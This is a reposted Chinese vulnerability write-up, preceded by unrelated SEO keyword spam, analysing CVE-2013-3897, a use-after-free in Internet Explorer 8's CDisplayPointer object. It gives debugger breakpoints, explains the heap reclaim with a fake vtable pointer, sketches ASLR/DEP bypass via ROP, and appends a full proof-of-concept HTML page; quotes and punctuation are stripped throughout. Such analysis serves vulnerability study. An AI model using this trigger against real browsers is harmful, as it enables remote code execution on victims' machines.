搭建合作平台,呼和浩特网站seo,如何用wordpress 评论,余音网wordpress主题CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF#xff08;Use After Free#xff09;类漏洞#xff0c;即引用了已经释放的内存。攻击者可以利用此类漏洞实现远程代码执行。UAF漏洞的根源源于对对象引用计数的处理不当#xff0c;比如在编写程序时忘记AddRef或者多… CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAFUse After Free类漏洞即引用了已经释放的内存。攻击者可以利用此类漏洞实现远程代码执行。UAF漏洞的根源源于对对象引用计数的处理不当比如在编写程序时忘记AddRef或者多加了Release最终导致对象的释放。对于IE的大部分对象COM编程实现来说4偏移处的含义是该对象的引用计数可以通过跟踪它来定位补丁前后的位置及被释放的位置。0偏移处的含义是该对象的虚函数表指针可以通过它来改变程序执行流程。 2. 实验环境 操作系统Win7 SP1 浏览器IE8补丁Windows6.1-KB2879017-x86前 漏洞编号CVE-2013-3897 3. 漏洞分析 3.1. 分析Crash 3.1.1. 运行poc查看crash 看到crash原因是 call dword ptr [eax] 处引用了无效的内存空间。查看崩溃处的上下文。 查看ebx此时ebx0031c094。查看函数调用回溯。 ebx的值也是 mshtml!QIClassID 的第一个参数mshtml!CDoc::ScrollPointerIntoView 的第二个参数它是一个0x48大小的对象也是释放后被重用的对象。 3.1.2. 分析相关代码上下文 mshtml!CDoc::ScrollPointerIntoView查看[ebp0Ch]的变化即函数的第二个参数被释放的对象有如下片段。 在调用mshtml!QIClassID前又调用了mshtml!CDoc::GetLineInfo因此接下来在mshtml!CDoc::ScrollPointerIntoView和call mshtml!CDoc::GetLineInfo处设置断点分析参数二[ebp0Ch]的状态。 3.2. 跟踪调试、分析漏洞成因 3.2.1. 调试工作准备 开启gflags的Create user mode stack trace database功能用于进行堆回溯。 在POC中加入如下用于跟踪执行流程的调试语句 IE8下Math.atan2(0x999, [*] Before Unselect); 设置以下断点观察被释放的对象 bu mshtml!CDoc::ScrollPointerIntoView bu CDoc::ScrollPointerIntoView0x32 bu CDoc::ScrollPointerIntoView0x37 bu jscript!JsAtan2 .echo;.printf \%mu\, poi(poi(poi(esp14)8)8);.echo;.echo; 3.2.2. 定位释放后重用的对象 通过调试语句可以得知执行流程执行godzilla.onpropertychange fun_onpropertychange ;后立即触发了onpropertychange事件调用fun_onpropertychange 执行godzilla.select();后立即触发了onselect事件调用fun_onselectfun_onselect内部执行完swapNode后会来到mshtml!CDoc::ScrollPointerIntoView。 观察mshtml!CDoc::ScrollPointerIntoView的参数二[ebp0Ch] 046e85b4 它是一个mshtml!CDisplayPointer对象因此释放后重用的对象就是 CDisplayPointer 它在select事件被触发时创建创建过程如下注意这里的046e85b4相对046e8580偏移为0x34相对046e8598(UserPtr)的偏移为1c1c/47 因此整个过程为godzilla.select();触发onselect事件调用fun_onselect。在此过程中创建一个mshtml!CDisplayPointer对象fun_onselect内部执行完swapNode后函数mshtml!CDisplayPointer::ScrollIntoView将要通过mshtml!CDisplayPointe对象来设置新的展示位置。 3.2.3. 跟踪对象释放过程 后边来到mshtml!CDoc::ScrollPointerIntoView的call mshtml!CDoc::GetLineInfo处此时CDisplayPointer 对象还未被释放。 对这个对象UserPtr的释放过程设置断点 bu mshtml!CDisplayPointer::Release .if ( poi(esp0x4) 046e8598 ){} .else{gc} bu ntdll!RtlFreeHeap .if ( poi(esp0xc) 046e8598 ){} .else{gc} 因为调用了swapNodetextarea的valueproperty被改变。随后onpropertychange事件被触发调用fun_onpropertychange [*] Enter onpropertychange [*] Before Unselect document.execCommand(Unselect);的执行导致了 CDisplayPointer 对象被释放此时对象释放函数被触发对象将被释放。 如果只对bu mshtml!CDisplayPointer::Release下断点之后的几次mshtml!CDisplayPointer::Release:是对其他对象的解引用及释放。 通过对象释放的堆栈回溯可以看出mshtml!CDisplayPointer::ScrollIntoView随后触发了onpropertychange事件fun_onpropertychange内部的Unselect命令导致了对象的释放。 3.2.4. 内存占位及获取执行流程 CDisplayPointer对象释放后立即对内存进行占位通过对RtlAllocateHeap设置条件断点可以定位内存占位。 ntdll!RtlAllocateHeapXXX定位函数返回时eax的值换成硬编码 77d92eb8 .if (eax 046e8598){} .else{gc} 然后来到下图所示 此时对象已经被释放并被占位。POC中对应的代码war[i].className data; 申请了17*4270 (0x46) 最后有个\u0000终止符因此总数是0x48。 同时在POC中在第八个4字节处设置伪造的虚函数表地址因为0x046e85b4相对UserPtr的偏移为0x1C4*7相对堆块起始位置的偏移为0x34从而控制执行流程。 如果将POC中对应的代码设置为 对后来的call mshtml!QIClassID下断点[ebp8]即指向释放后重新占位的对象 其内部将索引对象的第一个虚函数最终调用call dword ptr [eax]。此时eax为我们已经布置好的shellcode最前面是伪造的虚函数表的地址即伪造的虚函数表的地址。call dword ptr [eax]将调用其第一个虚函数。 4. 漏洞利用 此UAF漏洞释放后重用的目标是对象的虚函数表因此通过伪造虚函数表来获取执行流程。由于此漏洞的局限性我们不能通过它来绕过ASLR只能在利用代码中只能使用Java 6运行环境JRE1.6的msvcr71.dll或其他non-ASLR模块来绕过ASLR。也可以配合其他漏洞获取模块基址及shellcode的地址来绕过ASLR。最终构造ROP绕过DEP实现远程代码执行。 通过non-ASLR模块绕过ASLR的过程比较简单详见EXP代码。 5. 总结 UAF漏洞的成因一般都是因为在编程过程中对引用计数的处理不当导致对象被释放后重用的。利用UAF漏洞实现远程代码执行首先需要Bypass ASLR获得模块基址及shellcode的地址也可以通过堆喷射在指定内存空间布置shellcode然后硬编码、动态构造ROP来Bypass DEP最终实现任意代码的执行。 不同的UAF漏洞利用方式会有不同但是分析它们的流程基本一致。 6. 参考资料 [1] CVE-2013-3897漏洞分析http://www.freebuf.com/articles/system/29445.html [2] CVE-2013-3897样本分析学习笔记http://www.91ri.org/7900.html [3] CVE-2013-3897 UAF Analysishttp://thecjw.0ginr.com/blog/?p187 7. 附录 7.1. poc.html htmlhead
script var data ;for (i0; i17; i)
{if (i7) {data unescape(%u2020%u2030); //data \u4141\u4141;}else {data \u4141\u4141;}
}
data \u4141;function butterfly()
{for(i0; i20; i){var effect document.createElement(div);effect.className data;}
}var battleStation false;
var war new Array();
var godzilla ;
var minilla ;
var battleStation false;function fun_onselect()
{Math.atan2(0x999, [*] Before swapNode);minilla.swapNode(document.createElement(div)); // 调用swapNode通过交换节点从页面布局删除textarea了同时触发 onpropertychange 事件Math.atan2(0x999, [*] After swapNode);}// fun_onpropertychange第一次被调用时是因为改变了DOM第二次调用是由swapNode导致的立即进行内存占位
function fun_onpropertychange()
{ Math.atan2(0x999, [*] Enter onpropertychange);if (battleStation true){for (i0; i50; i) {war.push(document.createElement(span));}}Math.atan2(0x999, [*] Before Unselect);document.execCommand(Unselect); // 使用了document.execCommand(Unselect)命令撤销 select 导致了CDisplayPointer对象被释放Math.atan2(0x999, [*] After Unselect);if (battleStation true) // 对已经释放的CDisplayPointer内存进行占位{for (i0; i war.length; i) {war[i].className data;}}else{battleStation true;}Math.atan2(0x999, [*] Leave onpropertychange);
}function kaiju()
{godzilla document.createElement(textarea); // Create a CTextArea Objectminilla document.createElement(pre);document.body.appendChild(godzilla);document.body.appendChild(minilla);godzilla.appendChild(minilla);godzilla.onselect fun_onselect ; // 给textarea元素设置 select 处理函数当textarea文本框被选中时触发并调用处理函数Math.atan2(0x999, [*] Before godzilla.onpropertychange);godzilla.onpropertychange fun_onpropertychange ; // 给textarea元素设置 onpropertychange 事件处理函数当属性变化时触发调用Math.atan2(0x999, [*] After godzilla.onpropertychange);//butterfly();Math.atan2(0x999, [*] Before godzilla.select());godzilla.select(); // 主动触发 select 处理函数Math.atan2(0x999, [*] After godzilla.select());}/script
/headbody οnlοadkaiju()
/body/html View Code 转载于:https://www.cnblogs.com/Danny-Wei/p/3766362.html